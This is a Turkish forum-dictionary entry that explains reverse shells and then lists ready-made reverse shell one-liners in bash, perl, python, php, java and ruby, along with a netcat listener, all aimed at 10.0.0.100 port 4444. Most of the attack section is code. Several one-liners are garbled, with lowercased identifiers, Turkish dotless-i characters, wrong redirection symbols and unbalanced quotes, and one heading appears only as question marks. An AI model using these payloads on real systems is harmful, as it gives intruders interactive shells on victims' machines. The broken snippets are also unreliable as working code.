reverse shell nedir?

ters kabuk olarak türkçeleştirebildiğimiz ana bilgisayar üzerinden değil uzak bi bilgisayar üzerinden remote code execution zafiyetinden yararlanarak hedef makinede etkileşimli bir shell elde etmek ve saldırıyı derinleştirebilip root yetkisi kazanabbilmek için yapılan bir saldırı çeşididir. bugün ters kabukların pratik olarak nasıl çalıştığını açıklayacağız.

reverse shell nasıl çalışır?

ağ üzerinde bulunan bir hedefe bağlanabilmek için saldırgan makineye bir bağlanma isteği yollar ve bir oturum ister. ters kabuklar genellikle bir nat arkasındaki ana bilgisayara uzaktan erişim sağlamanın tek yoludur. bu sebeple meşrü kullanımları da vardır. fakat, siber güvenlikçiler ve hackerlar tarafından bir güvenlik sistemleri tarafından gelen bağlantılardan korunan ana bilgisayarda işletim sistemi kodlarını yürütmek için de kullanılabilirler. örneğin bir e-ticaret sitesine yüklenen zararlı kod kötü amaçlı bir web sitesi bir komut sunucusuna giden bir bağlantı başlatabilir ve saldırgana bu sayede app üzerinde bir reverse shell çalıştırabilir. güvenlik duvarları çoğu zaman bu trafiği filtreler ve bu nedenle listening server'a giden bir bağlantı genellikle başarılı olur.

reverse shell kod örnekleri

saldırgan ilk olarak reverse shell sayesinde aldığı bağlantiları dinlemek için kendi ana bilgisayarında bir dinleyici başlatması gerekir. vereceğim öğrenklerdeki dinleyicilerin ıp adreslerini 10.0.0.100 olarak bağlanamk istediğimiz port ise 4444 olsun. eğer bir linux kullanıcısıysanız bir netcat dinleyicisi başlatmak çocuk oyuncağıdır.

"nc -nvlp 4444"

bu 4444 numaral port'ta bir netcat dinleyicisi başlatır. saldırganın şimdi yapması gereken şey bu makineye uzaktan bağlanabilmek için hedef makinede saldırı kodunu yürütmeesi gerekir. çeşitli sistemler ve diller için birçok hazır reverse shell kodu mevcuttur.
link
pentestmokey bizim için yazıp bırakmış fakat nasıl çalıştığını görebilmek için birkaç tane basit reverse shell kodu yazalım

bash reverse shell

hedef linux bir makinada çalışıyorsa neredeyse tüm linux makinelerde bash bulunduğundan dolayı
bash ile başlamak akıllıca bir seçenektir.

/bin/bash -i > & /dev/tcp/10.0.0.100/4444 0>%1

perl reverse shell

bash gibi perl'de linux makinelerde default olarak gelen bir dildir. bunun içinde bir reverse
shell yazalım.

perl -e "use socket:#i="10.0.0.100";$p=4444;socket(s,pf_ınet,sock_stream,getprotobyname("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i)))){open(stdın,">&s");open(stdout,">&s");open(stderr,">&s");exec("/bin/sh -i");};'

python reverse shell

evet geldik yine pythona son zamanlarda kazandığı popülarite ve yine linux makinelerde
defualt olarak geldiğinden python ile de bir reverse shell yazalım.

python -c 'import socket,subprocess,os;s=socket.socket(socket.af_ınet,socket.sock_stream);s.connect(("10.0.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php reverse shell

hala daha pek çok web server php üzerinden çalıştığından dolayı pek çok eğitim sitesinde
ctf'lerde en çok gördüğünüz kabuktur. (&3 eğer çalışmıyorsa yanında yazılan diğer değerleri
deneyin.

php -r '$sock=fsockopen("10.0.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

java reverse shell

javayı hiç sevmem zerre haz etmem kendisinden fakat bu application serverlarda kullanıldığı gerçeğini değiştirmiyor. (java severler ve oop'yi koruyalım kolluyalım ve ona adaklar adayalım
derneği lütfen az linçleyin). bak bunun için gittim biraz java öğrendim geldim.

run = runtime.getruntime()
port = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.100/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done] as string[])
port.waitfor()

???? ??????? ?????

yaklaşık 5 senedir her ay öğreneceğim diyip öğrenmediğim kod okuya okuya aşina olduğum bir dildir kendileri. sunucu içinde ruby interpreter'ının bulunmasının muhtemel olduğundan dolayı son olarak bunu da son örneğimiz olarak ekleyelim

ruby -rsocket -e'f=tcpsocket.open("10.0.0.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

örneklerimiz tükendi ben bildiklerimi tekrar etmiş oldum ve yine güzel bir kaynak ürettik gibi geliyor. gelecekteki konulara kadar sağlıcakla kalın efendim guardian kaçar.
devamını gör...

bu başlığa tanım girmek için olabilirsiniz.

zaten üye iseniz giriş yapabilirsiniz.

"reverse shell" ile benzer başlıklar

normal sözlük'ü kullanarak 3. parti dahil tarayıcı çerezlerinin kullanımına izin vermektesiniz. Daha detaylı bilgi için çerez ve gizlilik politikamıza bakabilirsiniz.

online yazar listesini görmek için lütfen giriş yapın.
zaman tüneli köftehor rehberi portakal normal radyo kütüphane kulüpler renk modu online yazarlar puan tablosu yönetim kadrosu istatistikler iletişim